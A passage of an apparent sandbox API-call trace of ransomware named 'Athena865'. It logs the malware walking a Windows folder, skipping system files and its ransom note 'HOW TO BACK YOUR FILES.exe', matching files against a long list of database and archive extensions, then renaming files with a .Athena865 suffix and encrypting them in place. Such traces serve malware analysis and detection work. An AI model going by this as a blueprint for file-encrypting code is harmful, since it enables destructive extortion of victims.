lstrcmpiW (lpString1="WPG", lpString2="vis") returned 1 [0107.897] lstrlenW (lpString="vpd") returned 3 [0107.897] lstrcmpiW (lpString1="WPG", lpString2="vpd") returned 1 [0107.897] lstrlenW (lpString="vvv") returned 3 [0107.897] lstrcmpiW (lpString1="WPG", lpString2="vvv") returned 1 [0107.897] lstrlenW (lpString="wdb") returned 3 [0107.897] lstrcmpiW (lpString1="WPG", lpString2="wdb") returned 1 [0107.897] lstrlenW (lpString="wmdb") returned 4 [0107.897] lstrcmpiW (lpString1=".WPG", lpString2="wmdb") returned -1 [0107.897] lstrlenW (lpString="wrk") returned 3 [0107.897] lstrcmpiW (lpString1="WPG", lpString2="wrk") returned -1 [0107.897] lstrlenW (lpString="xdb") returned 3 [0107.897] lstrcmpiW (lpString1="WPG", lpString2="xdb") returned -1 [0107.897] lstrlenW (lpString="xld") returned 3 [0107.897] lstrcmpiW (lpString1="WPG", lpString2="xld") returned -1 [0107.897] lstrlenW (lpString="xmlff") returned 5 [0107.897] lstrcmpiW (lpString1="S.WPG", lpString2="xmlff") returned -1 [0107.897] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG.Athena865") returned 71 [0107.897] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg.athena865"), dwFlags=0x1) returned 1 [0107.898] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0107.898] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1382) returned 1 [0107.898] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0107.898] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0107.898] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0107.899] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0107.899] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0107.899] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0107.899] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x870, lpName=0x0) returned 0x17c [0107.901] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x870) returned 0x100000 [0107.905] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0107.906] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0107.906] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0107.906] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0107.906] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0107.906] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0107.906] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0107.907] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0107.907] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0107.907] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0107.907] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0107.907] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0107.907] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0107.907] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0107.907] CloseHandle (hObject=0x17c) returned 1 [0107.907] CloseHandle (hObject=0x154) returned 1 [0107.907] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0107.907] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0107.907] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0107.907] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x11d78, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PICTIM32.FLT", cAlternateFileName="")) returned 1 [0107.908] lstrcmpiW (lpString1="PICTIM32.FLT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0107.908] lstrcmpiW (lpString1="PICTIM32.FLT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0107.908] lstrcmpiW (lpString1="PICTIM32.FLT", lpString2=".") returned 1 [0107.908] lstrcmpiW (lpString1="PICTIM32.FLT", lpString2="..") returned 1 [0107.908] lstrcmpiW (lpString1="PICTIM32.FLT", lpString2="windows") returned -1 [0107.908] lstrcmpiW (lpString1="PICTIM32.FLT", lpString2="bootmgr") returned 1 [0107.908] lstrcmpiW (lpString1="PICTIM32.FLT", lpString2="temp") returned -1 [0107.908] lstrcmpiW (lpString1="PICTIM32.FLT", lpString2="pagefile.sys") returned 1 [0107.908] lstrcmpiW (lpString1="PICTIM32.FLT", lpString2="boot") returned 1 [0107.908] lstrcmpiW (lpString1="PICTIM32.FLT", lpString2="ids.txt") returned 1 [0107.908] lstrcmpiW (lpString1="PICTIM32.FLT", lpString2="ntuser.dat") returned 1 [0107.908] lstrcmpiW (lpString1="PICTIM32.FLT", lpString2="perflogs") returned 1 [0107.908] lstrcmpiW (lpString1="PICTIM32.FLT", lpString2="MSBuild") returned 1 [0107.908] lstrlenW (lpString="PICTIM32.FLT") returned 12 [0107.908] lstrcpyW (in: lpString1=0x241e8b6, lpString2="PICTIM32.FLT" | out: lpString1="PICTIM32.FLT") returned="PICTIM32.FLT" [0107.908] lstrlenW (lpString="PICTIM32.FLT") returned 12 [0107.908] lstrlenW (lpString="Athena865") returned 9 [0107.908] lstrcmpiW (lpString1="TIM32.FLT", lpString2="Athena865") returned 1 [0107.908] lstrlenW (lpString=".dll") returned 4 [0107.908] lstrcmpiW (lpString1="PICTIM32.FLT", lpString2=".dll") returned 1 [0107.908] lstrlenW (lpString=".lnk") returned 4 [0107.908] lstrcmpiW (lpString1="PICTIM32.FLT", lpString2=".lnk") returned 1 [0107.908] lstrlenW (lpString=".ini") returned 4 [0107.908] lstrcmpiW (lpString1="PICTIM32.FLT", lpString2=".ini") returned 1 [0107.908] lstrlenW (lpString=".sys") returned 4 [0107.908] lstrcmpiW (lpString1="PICTIM32.FLT", lpString2=".sys") returned 1 [0107.908] lstrlenW (lpString="PICTIM32.FLT") returned 12 [0107.908] lstrlenW (lpString="bak") returned 3 [0107.908] lstrcmpiW (lpString1="FLT", lpString2="bak") returned 1 [0107.908] lstrlenW (lpString="ba_") returned 3 [0107.908] lstrcmpiW (lpString1="FLT", lpString2="ba_") returned 1 [0107.909] lstrlenW (lpString="dbb") returned 3 [0107.909] lstrcmpiW (lpString1="FLT", lpString2="dbb") returned 1 [0107.909] lstrlenW (lpString="vmdk") returned 4 [0107.909] lstrcmpiW (lpString1=".FLT", lpString2="vmdk") returned -1 [0107.909] lstrlenW (lpString="rar") returned 3 [0107.909] lstrcmpiW (lpString1="FLT", lpString2="rar") returned -1 [0107.909] lstrlenW (lpString="zip") returned 3 [0107.909] lstrcmpiW (lpString1="FLT", lpString2="zip") returned -1 [0107.909] lstrlenW (lpString="tgz") returned 3 [0107.909] lstrcmpiW (lpString1="FLT", lpString2="tgz") returned -1 [0107.909] lstrlenW (lpString="vbox") returned 4 [0107.909] lstrcmpiW (lpString1=".FLT", lpString2="vbox") returned -1 [0107.909] lstrlenW (lpString="vdi") returned 3 [0107.909] lstrcmpiW (lpString1="FLT", lpString2="vdi") returned -1 [0107.909] lstrlenW (lpString="vhd") returned 3 [0107.909] lstrcmpiW (lpString1="FLT", lpString2="vhd") returned -1 [0107.909] lstrlenW (lpString="vhdx") returned 4 [0107.909] lstrcmpiW (lpString1=".FLT", lpString2="vhdx") returned -1 [0107.909] lstrlenW (lpString="avhd") returned 4 [0107.909] lstrcmpiW (lpString1=".FLT", lpString2="avhd") returned -1 [0107.909] lstrlenW (lpString="db") returned 2 [0107.909] lstrcmpiW (lpString1="LT", lpString2="db") returned 1 [0107.909] lstrlenW (lpString="db2") returned 3 [0107.909] lstrcmpiW (lpString1="FLT", lpString2="db2") returned 1 [0107.909] lstrlenW (lpString="db3") returned 3 [0107.909] lstrcmpiW (lpString1="FLT", lpString2="db3") returned 1 [0107.909] lstrlenW (lpString="dbf") returned 3 [0107.909] lstrcmpiW (lpString1="FLT", lpString2="dbf") returned 1 [0107.909] lstrlenW (lpString="mdf") returned 3 [0107.909] lstrcmpiW (lpString1="FLT", lpString2="mdf") returned -1 [0107.909] lstrlenW (lpString="mdb") returned 3 [0107.909] lstrcmpiW (lpString1="FLT", lpString2="mdb") returned -1 [0107.909] lstrlenW (lpString="sql") returned 3 [0107.910] lstrcmpiW (lpString1="FLT", lpString2="sql") returned -1 [0107.910] lstrlenW (lpString="sqlite") returned 6 [0107.910] lstrcmpiW (lpString1="32.FLT", lpString2="sqlite") returned -1 [0107.910] lstrlenW (lpString="sqlite3") returned 7 [0107.910] lstrcmpiW (lpString1="M32.FLT", lpString2="sqlite3") returned -1 [0107.910] lstrlenW (lpString="sqlitedb") returned 8 [0107.910] lstrcmpiW (lpString1="IM32.FLT", lpString2="sqlitedb") returned -1 [0107.910] lstrlenW (lpString="xml") returned 3 [0107.910] lstrcmpiW (lpString1="FLT", lpString2="xml") returned -1 [0107.910] lstrlenW (lpString="$er") returned 3 [0107.910] lstrcmpiW (lpString1="FLT", lpString2="$er") returned 1 [0107.910] lstrlenW (lpString="4dd") returned 3 [0107.910] lstrcmpiW (lpString1="FLT", lpString2="4dd") returned 1 [0107.910] lstrlenW (lpString="4dl") returned 3 [0107.910] lstrcmpiW (lpString1="FLT", lpString2="4dl") returned 1 [0107.910] lstrlenW (lpString="^^^") returned 3 [0107.910] lstrcmpiW (lpString1="FLT", lpString2="^^^") returned 1 [0107.910] lstrlenW (lpString="abs") returned 3 [0107.910] lstrcmpiW (lpString1="FLT", lpString2="abs") returned 1 [0107.910] lstrlenW (lpString="abx") returned 3 [0107.910] lstrcmpiW (lpString1="FLT", lpString2="abx") returned 1 [0107.910] lstrlenW (lpString="accdb") returned 5 [0107.910] lstrcmpiW (lpString1="2.FLT", lpString2="accdb") returned -1 [0107.910] lstrlenW (lpString="accdc") returned 5 [0107.910] lstrcmpiW (lpString1="2.FLT", lpString2="accdc") returned -1 [0107.910] lstrlenW (lpString="accde") returned 5 [0107.910] lstrcmpiW (lpString1="2.FLT", lpString2="accde") returned -1 [0107.910] lstrlenW (lpString="accdr") returned 5 [0107.910] lstrcmpiW (lpString1="2.FLT", lpString2="accdr") returned -1 [0107.910] lstrlenW (lpString="accdt") returned 5 [0107.910] lstrcmpiW (lpString1="2.FLT", lpString2="accdt") returned -1 [0107.910] lstrlenW (lpString="accdw") returned 5 [0107.911] lstrcmpiW (lpString1="2.FLT", lpString2="accdw") returned -1 [0107.911] lstrlenW (lpString="accft") returned 5 [0107.911] lstrcmpiW (lpString1="2.FLT", lpString2="accft") returned -1 [0107.911] lstrlenW (lpString="adb") returned 3 [0107.911] lstrcmpiW (lpString1="FLT", lpString2="adb") returned 1 [0107.911] lstrlenW (lpString="adb") returned 3 [0107.911] lstrcmpiW (lpString1="FLT", lpString2="adb") returned 1 [0107.911] lstrlenW (lpString="ade") returned 3 [0107.911] lstrcmpiW (lpString1="FLT", lpString2="ade") returned 1 [0107.911] lstrlenW (lpString="adf") returned 3 [0107.911] lstrcmpiW (lpString1="FLT", lpString2="adf") returned 1 [0107.911] lstrlenW (lpString="adn") returned 3 [0107.911] lstrcmpiW (lpString1="FLT", lpString2="adn") returned 1 [0107.911] lstrlenW (lpString="adp") returned 3 [0107.911] lstrcmpiW (lpString1="FLT", lpString2="adp") returned 1 [0107.911] lstrlenW (lpString="alf") returned 3 [0107.911] lstrcmpiW (lpString1="FLT", lpString2="alf") returned 1 [0107.911] lstrlenW (lpString="ask") returned 3 [0107.911] lstrcmpiW (lpString1="FLT", lpString2="ask") returned 1 [0107.911] lstrlenW (lpString="btr") returned 3 [0107.911] lstrcmpiW (lpString1="FLT", lpString2="btr") returned 1 [0107.911] lstrlenW (lpString="cat") returned 3 [0107.911] lstrcmpiW (lpString1="FLT", lpString2="cat") returned 1 [0107.911] lstrlenW (lpString="cdb") returned 3 [0107.911] lstrcmpiW (lpString1="FLT", lpString2="cdb") returned 1 [0107.911] lstrlenW (lpString="ckp") returned 3 [0107.911] lstrcmpiW (lpString1="FLT", lpString2="ckp") returned 1 [0107.911] lstrlenW (lpString="cma") returned 3 [0107.911] lstrcmpiW (lpString1="FLT", lpString2="cma") returned 1 [0107.911] lstrlenW (lpString="cpd") returned 3 [0107.911] lstrcmpiW (lpString1="FLT", lpString2="cpd") returned 1 [0107.912] lstrlenW (lpString="dacpac") returned 6 [0107.912] lstrcmpiW (lpString1="32.FLT", lpString2="dacpac") returned -1 [0107.912] lstrlenW (lpString="dad") returned 3 [0107.912] lstrcmpiW (lpString1="FLT", lpString2="dad") returned 1 [0107.912] lstrlenW (lpString="dadiagrams") returned 10 [0107.912] lstrcmpiW (lpString1="CTIM32.FLT", lpString2="dadiagrams") returned -1 [0107.912] lstrlenW (lpString="daschema") returned 8 [0107.912] lstrcmpiW (lpString1="IM32.FLT", lpString2="daschema") returned 1 [0107.912] lstrlenW (lpString="db-journal") returned 10 [0107.912] lstrcmpiW (lpString1="CTIM32.FLT", lpString2="db-journal") returned -1 [0107.912] lstrlenW (lpString="db-shm") returned 6 [0107.912] lstrcmpiW (lpString1="32.FLT", lpString2="db-shm") returned -1 [0107.912] lstrlenW (lpString="db-wal") returned 6 [0107.912] lstrcmpiW (lpString1="32.FLT", lpString2="db-wal") returned -1 [0107.912] lstrlenW (lpString="dbc") returned 3 [0107.912] lstrcmpiW (lpString1="FLT", lpString2="dbc") returned 1 [0107.912] lstrlenW (lpString="dbs") returned 3 [0107.912] lstrcmpiW (lpString1="FLT", lpString2="dbs") returned 1 [0107.912] lstrlenW (lpString="dbt") returned 3 [0107.912] lstrcmpiW (lpString1="FLT", lpString2="dbt") returned 1 [0107.912] lstrlenW (lpString="dbv") returned 3 [0107.912] lstrcmpiW (lpString1="FLT", lpString2="dbv") returned 1 [0107.912] lstrlenW (lpString="dbx") returned 3 [0107.912] lstrcmpiW (lpString1="FLT", lpString2="dbx") returned 1 [0107.912] lstrlenW (lpString="dcb") returned 3 [0107.912] lstrcmpiW (lpString1="FLT", lpString2="dcb") returned 1 [0107.912] lstrcmpiW (lpString1="FLT", lpString2="dct") returned 1 [0107.912] lstrcmpiW (lpString1="FLT", lpString2="dcx") returned 1 [0107.912] lstrcmpiW (lpString1="FLT", lpString2="ddl") returned 1 [0107.913] lstrcmpiW (lpString1=".FLT", lpString2="dlis") returned -1 [0107.913] lstrcmpiW (lpString1="FLT", lpString2="dp1") returned 1 [0107.913] lstrcmpiW (lpString1="FLT", lpString2="dqy") returned 1 [0107.913] lstrcmpiW (lpString1="FLT", lpString2="dsk") returned 1 [0107.913] lstrcmpiW (lpString1="FLT", lpString2="dsn") returned 1 [0107.913] lstrcmpiW (lpString1=".FLT", lpString2="dtsx") returned -1 [0107.913] lstrcmpiW (lpString1="FLT", lpString2="dxl") returned 1 [0107.913] lstrcmpiW (lpString1="FLT", lpString2="eco") returned 1 [0107.913] lstrcmpiW (lpString1="FLT", lpString2="ecx") returned 1 [0107.913] lstrcmpiW (lpString1="FLT", lpString2="edb") returned 1 [0107.913] lstrcmpiW (lpString1=".FLT", lpString2="epim") returned -1 [0107.913] lstrcmpiW (lpString1="FLT", lpString2="fcd") returned 1 [0107.913] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.Athena865") returned 77 [0107.913] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt.athena865"), dwFlags=0x1) returned 1 [0107.918] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0107.918] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=73080) returned 1 [0107.918] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0107.919] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0107.919] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0107.919] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0107.919] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0107.919] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0107.920] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x12080, lpName=0x0) returned 0x17c [0107.921] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x12080) returned 0x100000 [0107.925] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0107.926] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0107.926] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0107.926] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0107.926] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0107.926] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0107.926] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0107.926] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0107.926] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0107.926] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0107.926] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0107.926] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0107.926] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0107.926] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0107.927] CloseHandle (hObject=0x17c) returned 1 [0107.927] CloseHandle (hObject=0x154) returned 1 [0107.927] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0107.927] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0107.927] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0107.928] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x49f80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PNG32.FLT", cAlternateFileName="")) returned 1 [0107.928] lstrcmpiW (lpString1="PNG32.FLT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0107.928] lstrcmpiW (lpString1="PNG32.FLT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0107.928] lstrcmpiW (lpString1="PNG32.FLT", lpString2=".") returned 1 [0107.928] lstrcmpiW (lpString1="PNG32.FLT", lpString2="..") returned 1 [0107.928] lstrcmpiW (lpString1="PNG32.FLT", lpString2="windows") returned -1 [0107.928] lstrcmpiW (lpString1="PNG32.FLT", lpString2="bootmgr") returned 1 [0107.928] lstrcmpiW (lpString1="PNG32.FLT", lpString2="temp") returned -1 [0107.928] lstrcmpiW (lpString1="PNG32.FLT", lpString2="pagefile.sys") returned 1 [0107.928] lstrcmpiW (lpString1="PNG32.FLT", lpString2="boot") returned 1 [0107.928] lstrcmpiW (lpString1="PNG32.FLT", lpString2="ids.txt") returned 1 [0107.928] lstrcmpiW (lpString1="PNG32.FLT", lpString2="ntuser.dat") returned 1 [0107.928] lstrcmpiW (lpString1="PNG32.FLT", lpString2="perflogs") returned 1 [0107.928] lstrcmpiW (lpString1="PNG32.FLT", lpString2="MSBuild") returned 1 [0107.928] lstrlenW (lpString="PNG32.FLT") returned 9 [0107.928] lstrcpyW (in: lpString1=0x241e8b6, lpString2="PNG32.FLT" | out: lpString1="PNG32.FLT") returned="PNG32.FLT" [0107.928] lstrlenW (lpString="PNG32.FLT") returned 9 [0107.928] lstrlenW (lpString="Athena865") returned 9 [0107.928] lstrlenW (lpString=".dll") returned 4 [0107.928] lstrcmpiW (lpString1="PNG32.FLT", lpString2=".dll") returned 1 [0107.928] lstrlenW (lpString=".lnk") returned 4 [0107.928] lstrcmpiW (lpString1="PNG32.FLT", lpString2=".lnk") returned 1 [0107.928] lstrlenW (lpString=".ini") returned 4 [0107.928] lstrcmpiW (lpString1="PNG32.FLT", lpString2=".ini") returned 1 [0107.928] lstrlenW (lpString=".sys") returned 4 [0107.928] lstrcmpiW (lpString1="PNG32.FLT", lpString2=".sys") returned 1 [0107.928] lstrlenW (lpString="PNG32.FLT") returned 9 [0107.928] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.Athena865") returned 74 [0107.929] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt.athena865"), dwFlags=0x1) returned 1 [0107.929] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0107.929] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=302976) returned 1 [0107.930] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0107.930] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0107.930] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0107.930] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0107.931] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0107.931] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0107.931] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4a280, lpName=0x0) returned 0x17c [0107.932] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4a280) returned 0x2d50000 [0107.946] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0107.947] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0107.947] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0107.947] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0107.947] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0107.947] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0107.947] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0107.947] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0107.947] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0107.947] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0107.947] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0107.947] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0107.947] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0107.947] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0107.950] CloseHandle (hObject=0x17c) returned 1 [0107.950] CloseHandle (hObject=0x154) returned 1 [0107.950] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0107.950] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0107.950] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0107.952] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: 